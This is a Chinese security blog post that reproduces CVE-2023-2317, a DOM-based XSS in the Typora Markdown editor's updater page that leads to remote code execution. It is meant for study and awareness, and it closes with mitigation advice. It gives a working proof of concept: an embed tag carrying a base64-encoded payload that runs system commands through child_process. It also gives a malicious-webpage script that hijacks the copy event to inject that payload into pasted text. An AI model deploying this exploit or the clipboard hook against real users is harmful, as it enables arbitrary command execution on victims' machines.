【网络安全】「漏洞复现」(二)使用 Typora 的程序员注意了!不要再复制粘贴了!

前言

本篇博文是《从0到1学习安全测试》中漏洞复现 系列的第 篇博文,主要内容是分析 Typora 出现 XSS 漏洞的原因,对该漏洞进行复现,并在多场景中进行实现 ,往期系列文章请访问博主的 安全测试 专栏;

本文翻译自 (CVE-2023-2317) Typora DOM-Based Cross-site Scripting leading to Remote Code Execution,原文作者 Li Jiantao (@CurseRed);

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

展示

弹计算器,懂得都懂~

介绍

漏洞的 CVE 编号为 CVE-2023-2317,适用于 Windows/Linux 上版本低于 1.6.7 的 Typora。

Typora 是一款流行的跨平台 Markdown 编辑器,允许用户创建和编辑具有实时预览功能的 Markdown 文件。适用于 Windows/Linux 的 Typora 基于 Electron 构建,该框架使其能够在各种操作系统上无缝运行。Markdown 编辑器支持 HTML 标签和嵌入外部网页。攻击者可以利用该漏洞通过在 Markdown 编辑器中加载精心设计的 URL 来执行任意 JavaScript 代码和系统命令。

这个基于 DOM 的 XSS 漏洞源于通过在标签中加载 typora://app/typemark/updater/ 可以直接访问到 updater/update.html,而 html 会接受传参并进行解析。因此通过精心构造的 Markdown 文件可以在 Typora 主窗口的上下文中运行任意 JavaScript 代码。如果用户在 Typora 中打开恶意的 Markdown 文件,或者从恶意网页复制文本并粘贴到 Typora 中,则可能会利用此漏洞。

分析

Typora/resources/updater/updater.html 中存在基于 DOM 的 XSS 漏洞的代码如下所示:

html 复制代码
<div class="btn-group">
  <div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
    <button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
  </div>

  <button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
  <button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
</div>

<script type="text/javascript">
  // ...
  var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));        // [1]

  document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
  document.querySelectorAll("[data-label]").forEach(function(dom){
    dom.innerHTML = labels[dom.getAttribute("data-label") - 0];     // [2]
  });
  // ...
</script>

上述代码的作用解释如下:

  1. HTML 部分定义了一个包含多个按钮的按钮组 btn-group。按钮组内部有三个按钮,分别具有不同的功能:

    • 第一个按钮(Skip This Version)被点击时会调用 onSkipUpdate() 函数;
    • 第二个按钮(Remind Me Later)被点击时会调用 onCancelUpdate() 函数;
    • 第三个按钮(Download Update)被点击时会调用 onDownloadUpdate() 函数;
  2. JavaScript 部分代码的主要作用:

    • 在 URL 中搜索参数 labels 的值,并对其进行解码和解析为 JSON 格式。
    • 将标签信息中的特定位置占位符 $1$2 替换为新版本号和当前版本号。
    • 根据具有 data-label 属性的元素(即按钮元素)的值,动态更新对应按钮的 HTML 内容。

dom.innerHTML 会被从 labels 数组中获取的内容文本赋值正是导致 XSS 漏洞的关键点 ,因为 labels 的参数可控并且可以含有恶意的 JavaScript 代码,会导致 dom.innerHTML 直接使用恶意的没有经过任何转义的外部输入,触发 JavaScript 代码的执行。

下面将一个 <input> 标签注入 DOM 中,代码如下所示:

ini 复制代码
updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["<input%20value=test>","22","33","44","55","66","77"]

运行结果:

复现

Typora 注册了一个文件处理程序 typora:// 来加载本地资源。例如,主窗口的 URL 是 typora://app/typemark/window.html,实际文件是从路径 [Typora Installation Absolute Path]/resources/window.html 加载的。

攻击者可以通过 <embed>src 属性设置为 typora://app/typemark/updater/updater.html 来将存在漏洞的 updater.html 加载到标签内。在这种情况下,typora://app/typemark/window.html 在主窗口中加载的内容和嵌入的 updater.html 页面被视为同源。因此,updater.html 能够访问暴露于主窗口的特权接口,例如 reqnode

通过嵌入带有精心设计的 DOM-XSS 负载的 URL 到 updater.html 中,攻击者能够在主窗口上执行任意的 JavaScript 代码。此外,攻击者可以使用 reqnode 主窗口中的特权界面来访问节点模块 child_process 并执行任意系统命令。

编写 PoC 代码如下所示:

html 复制代码
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>

PoC 代码中的 base64 编码部分被解码为以下内容:

js 复制代码
reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

当这个 PoC 加载到 Typora 中时,它将:

  1. 将 DOM-XSS 负载加载到 updater.html中;
  2. 有效负载将在主窗口上执行 JavaScript 代码;
  3. 执行系统命令:在 Windows 上执行 notepad ,或在 Linux 上执行 gnome-calculator

场景一:打开恶意 markdown 文件

攻击者可以在 Markdown 文件中注入嵌入标签,并说服受害者在 Typora 中打开它以触发有效负载。

场景二:从网页复制并粘贴

攻击者可以制作恶意网页并使用以下代码来挂钩该 copy 事件:

html 复制代码
<script>
    document.addEventListener('copy', e=>{
        e.preventDefault();
        let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
        e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
        console.log(payload + window.getSelection())
    })
</script>

当受害者从该页面复制文本时,有效负载会添加到复制的内容中,并在粘贴到 Typora 时触发。

措施

(1)不要在 Typora 中打开任何不受信任的 Markdown 文件。

(2)应避免从不受信任的网页复制文本然后将其粘贴到 Typora 中。

后记

本文复现了 Typora Windows/Linux 客户端中存在的 XSS 漏洞,通过本案例提醒各位读者,最好不要打开任何不受信任的 Markdown 文件或者从不受信任的网页复制文本然后将其粘贴到 Typora 中,提高自身的安全意识,谨防跨站脚本攻击!

以上就是博文 使用 Typora 的程序员注意了!不要再复制粘贴了! 的所有内容了,希望对大家有所帮助!

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

📝 上篇精讲:小心!谨慎点击 QQ 好友的消息链接!

💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;

👍 公众号:sidiot的技术驿站

🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试

相关推荐
崔庆才丨静觅5 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60616 小时前
完成前端时间处理的另一块版图
前端·github·web components
Hello.Reader6 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
掘了6 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅6 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅6 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
智驱力人工智能6 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
崔庆才丨静觅7 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment7 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
数据与后端架构提升之路7 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全